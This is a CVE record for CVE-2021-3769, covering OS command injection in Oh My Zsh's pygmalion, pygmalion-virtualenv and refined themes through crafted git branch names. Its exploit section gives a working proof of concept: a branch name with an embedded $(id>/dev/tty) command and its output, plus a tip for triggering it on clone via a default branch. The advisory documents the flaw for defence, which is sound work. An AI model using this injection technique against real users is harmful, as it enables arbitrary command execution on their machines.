CVE-2021-3769

{"containers": {"cna": {"affected": [{"product": "ohmyzsh/ohmyzsh", "vendor": "ohmyzsh", "versions": [{"lessThan": "b3ba9978", "status": "affected", "version": "unspecified", "versionType": "custom"}]}], "descriptions": [{"lang": "en", "value": "# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme."}], "exploits": [{"lang": "en", "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Enable the `pygmalion`, `pygmalion-virtualenv` or `refined` themes.\n3. Create and `cd` into a new git repository: `git init bad-repo && cd bad-repo`.\n4. Create and switch to a new branch with a name containing either `$(<injected-command>`, <code>\\`\\<injected-command\\>\\`</code> or `${(e):-\"<injected-command>\"}`:\n\n ```sh\n badbranch='feat/bad-branch$(id>/dev/tty)'\n git checkout -b \"$badbranch\"\n ```\n\n In the `pygmalion` theme, the prompt changes changes from the default branch to:\n\n ```console\n user@host:~/exploit-poc|master \u21d2 badbranch='feat/bad-branch$(id>/dev/tty)'; git checkout -b \"$badbranch\"\n Switched to a new branch 'feat/bad-branch$(id>/dev/tty)'\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n user@host:~/exploit-poc|feat/bad-branch \u21d2 \n ```\n\n A similar thing happens in `pygmalion-virtualenv` and `refined` themes.\n\nNOTE: for maximum impact, you can define the malicious branch name as the default branch name in GitHub, so that when a user clones it for the first time and enters the repository, the malicious branch is automatically checked out. That means that the user only needs to clone and enter the repository for the exploit to work."}], "metrics": [{"cvssV3_1": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}}], "problemTypes": [{"descriptions": [{"cweId": "CWE-78", "description": "CWE-78 OS Command Injection", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"dateUpdated": "2021-11-30T09:30:18.000Z", "orgId": "c09c270a-b464-47c1-9133-acb35b22c19a", "shortName": "@huntrdev"}, "references": [{"tags": ["x_refsource_MISC"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"}], "title": "OS Command Injection in ohmyzsh/ohmyzsh", "x_legacyV4Record": {"CVE_data_meta": {"ASSIGNER": "security@huntr.dev", "ID": "CVE-2021-3769", "STATE": "PUBLIC", "TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"}, "affects": {"vendor": {"vendor_data": [{"product": {"product_data": [{"product_name": "ohmyzsh/ohmyzsh", "version": {"version_data": [{"version_affected": "<", "version_value": "b3ba9978"}]}}]}, "vendor_name": "ohmyzsh"}]}}, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": {"description_data": [{"lang": "eng", "value": "# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme."}]}, "exploit": [{"lang": "en", "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Enable the `pygmalion`, `pygmalion-virtualenv` or `refined` themes.\n3. Create and `cd` into a new git repository: `git init bad-repo && cd bad-repo`.\n4. Create and switch to a new branch with a name containing either `$(<injected-command>`, <code>\\`\\<injected-command\\>\\`</code> or `${(e):-\"<injected-command>\"}`:\n\n ```sh\n badbranch='feat/bad-branch$(id>/dev/tty)'\n git checkout -b \"$badbranch\"\n ```\n\n In the `pygmalion` theme, the prompt changes changes from the default branch to:\n\n ```console\n user@host:~/exploit-poc|master \u21d2 badbranch='feat/bad-branch$(id>/dev/tty)'; git checkout -b \"$badbranch\"\n Switched to a new branch 'feat/bad-branch$(id>/dev/tty)'\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n user@host:~/exploit-poc|feat/bad-branch \u21d2 \n ```\n\n A similar thing happens in `pygmalion-virtualenv` and `refined` themes.\n\nNOTE: for maximum impact, you can define the malicious branch name as the default branch name in GitHub, so that when a user clones it for the first time and enters the repository, the malicious branch is automatically checked out. That means that the user only needs to clone and enter the repository for the exploit to work."}], "impact": {"cvss": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}}, "problemtype": {"problemtype_data": [{"description": [{"lang": "eng", "value": "CWE-78 OS Command Injection"}]}]}, "references": {"reference_data": [{"name": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978", "refsource": "MISC", "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"}]}}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T17:09:08.686Z"}, "title": "CVE Program Container", "references": [{"tags": ["x_refsource_MISC", "x_transferred"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"}]}]}, "cveMetadata": {"assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a", "assignerShortName": "@huntrdev", "cveId": "CVE-2021-3769", "datePublished": "2021-11-30T09:30:18.000Z", "dateReserved": "2021-09-05T00:00:00.000Z", "dateUpdated": "2024-08-03T17:09:08.686Z", "state": "PUBLISHED"}, "dataType": "CVE_RECORD", "dataVersion": "5.1"}

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{"affected": [{"affectedData": [{"product": "ohmyzsh/ohmyzsh", "vendor": "ohmyzsh", "versions": [{"lessThan": "b3ba9978", "status": "affected", "version": "unspecified", "versionType": "custom"}]}], "source": "security@huntr.dev"}], "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:planetargon:oh_my_zsh:*:*:*:*:*:*:*:*", "matchCriteriaId": "80FD5E81-3E73-4921-925C-E55098EAE4B1", "versionEndExcluding": "2021-11-11", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme."}, {"lang": "es", "value": "# Vulnerabilidad en los temas \"pygmalion\", \"pygmalion-virtualenv\" y \"refined\" **Descripci\u00f3n**: estos temas usan \"print -P\" en las cadenas proporcionadas por el usuario para imprimirlas en la terminal. Todos ellos lo hacen sobre la informaci\u00f3n de git, particularmente el nombre de la rama, por lo que si la rama presenta un nombre especialmente dise\u00f1ado la vulnerabilidad puede ser explotada. **Corregido en**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **\u00c1reas afectadas**: - Tema \"pygmalion\". - Tema \"pygmalion-virtualenv\". - Tema \"refined\""}], "id": "CVE-2021-3769", "lastModified": "2026-06-17T04:05:43.770", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "security@huntr.dev", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2021-11-30T10:15:09.000", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"}], "sourceIdentifier": "security@huntr.dev", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-78"}], "source": "security@huntr.dev", "type": "Secondary"}]}

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